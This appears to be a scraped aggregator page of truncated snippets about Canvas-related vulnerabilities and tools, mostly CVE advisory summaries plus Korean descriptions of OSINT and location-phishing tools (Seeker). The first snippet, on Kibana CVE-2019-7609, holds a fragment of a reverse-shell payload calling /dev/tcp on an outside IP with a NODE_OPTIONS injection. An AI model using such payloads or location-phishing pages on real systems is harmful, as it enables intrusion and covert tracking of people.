kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas をクリックして getshell...

CVE-2026-79193

CVE-2026-79193 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker can exploit this vulnerability by delivering a crafted HTML page that leaks cross-origin data . Chromium classified the severity as Medium . The fix is available in Chrome 152...

CVE-2026-78987

CVE-2026-78987 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker can exploit this via a crafted HTML page to bypass the web origin policy , potentially leaking cross-origin data. Chromium rates the severity as Medium . Remediation is to upd...

CVE-2026-78908

CVE-2026-78908 is an information leak in the Canvas component of Google Chrome prior to 152.0.7977.65 . A remote attacker could exploit this vulnerability by delivering a crafted HTML page , enabling a bypass of the web origin policy to leak information. Chromium rates the security severity as Hi...

sigint

SIGINT 실시간 OSINT 대시보드로, 대화형 지구본에서 실시간 항공기, 선박, 지진, 화재, 날씨, 이벤트 추적을 제공합니다. Bun, React 19, 커스텀 Canvas 2D + Web Worker 렌더링 엔진으로 구축되었으며 PWA로 설치할 수 있습니다. 스크린샷 목차 SIGINT 스크린샷 목차 기능 실시간 데이터 인텔리전스 시각화 플랫폼 설치 빠른 시작 환경 변수 데이터 소스 테스트 배포 개발 프로덕션 TLS를 사용한 프로덕션 Heroku 정리 PWA 문서 라이선스 작성자 기능 실시간 데이터 항공기 추적 adsb....

seeker

사용 가능 언어 Seeker의 개념은 간단합니다. 피싱 페이지를 호스팅하여 자격 증명을 얻는 것처럼, 많은 인기 있는 위치 기반 웹사이트처럼 위치를 요청하는 가짜 페이지를 호스팅하는 것입니다. 더 자세한 내용은 thewhiteh4t의 블로그 에서 읽어보세요. Seeker는 위치 권한을 요청하는 가짜 웹사이트를 호스팅하며, 대상이 이를 허용하면 다음 정보를 얻을 수 있습니다: 경도 위도 정확도 고도 - 항상 사용 가능하지 않음 방향 - 사용자가 이동 중일 때만 가능 속도 - 사용자가 이동 중일 때만 가능 위치 정보와 함께 기기 ...

CVE-2023-27035

CVE-2023-27035 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 脆弱性タイプ: 不適切なアクセス制御 説明: Obsidian Canvas 1.1.9 で発見された問題により、リモートの攻撃者がキャンバスページ上の埋め込みウェブサイトを介して、デスクトップ通知の送信、ユーザー音声の録音、その他の未指定の影響を引き起こす可能性があります。 影響: 悪意のある埋め込みウェブサイトは、ユーザーの許可や知識なしにObsidianアプリケーション内の機密性の高いWEB...

CVE-2014-1773

CClipStack::PushClipRect 잘못된 배열 인덱싱 먼저, pageheap이 활성화된 상태에서 발생한 크래시의 콜스택부터 살펴보겠습니다: ChildEBP RetAddr 0919aac8 6b58459f MSHTML!CWorldTransform::IsAxisAligned 0919ab40 6ba228e9 MSHTML!CDispSurface::CClipStack::PushClipRect+0x1a2 0919aba4 6be25b58 MSHTML!CDispSurface::PushClipRectInternal+0x2f...

what-you-reveal

╦ ╦╦ ╦╔═╗╔╦╗ ╦ ╦╔═╗╦ ╦ ╦═╗╔═╗╦ ╦╔═╗╔═╗╦ ║║║╠═╣╠═╣ ║ ╚╦╝║ ║║ ║ ╠╦╝║╣ ╚╗╔╝║╣ ╠═╣║ ╚╩╝╩ ╩╩ ╩ ╩ ╩ ╚═╝╚═╝ ╩╚═╚═╝ ╚╝ ╚═╝╩ ╩╩═╝ 시스템 분석 도구 // 브라우저 지문 데모 What You Reveal 은 브라우저가 웹사이트에 노출하는 정보를 정확히 보여주기 위해 설계된 개인정보 분석 도구입니다. 레트로 터미널 미학과 투명성에 초점을 맞춘 강력한 메트릭을 특징으로 합니다. 설치 root@kitploit: 저장소 클론 git clone...

CVE-2026-74941

Privilege escalation in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, Firefox ESR 153.1, Thunderbird 154, Thunderbird 140.14, and Thunderbird 153.1...

Astra Linux – Vulnerability in Firefox and Thunderbird

Uninitialized memory in the Graphics:Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9...

CVE-2026-19331

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-19331

Technical details about CVE-2026-19331 are not publicly available in the provided documents. Monitor for updates from the disclosure or vendor advisories.

EUVD-2026-54868

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-19331 bazylhorsey obsidian-mcp-server CanvasService.ts writeCanvas path traversal

A vulnerability was identified in bazylhorsey obsidian-mcp-server 1.0.0. This affects the function readCanvas/writeCanvas of the file src/services/CanvasService.ts. Such manipulation leads to path traversal. An attack has to be approached locally. The project was informed of the problem early...

CVE-2026-57510

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

EUVD-2026-49995

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

CVE-2026-57510 SuperPlane < 0.27.0 Broken Object Level Authorization via CanvasService gRPC

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...

CVE-2026-57510

SuperPlane before 0.27.0 suffers a broken object-level authorization flaw in the CanvasService gRPC handlers. Authenticated users with viewer-level access to one organization can access resources from other organizations by supplying arbitrary canvas or queue UUIDs without proper organization sco...

CVE-2026-57510 SuperPlane < 0.27.0 Broken Object Level Authorization via CanvasService gRPC

SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs...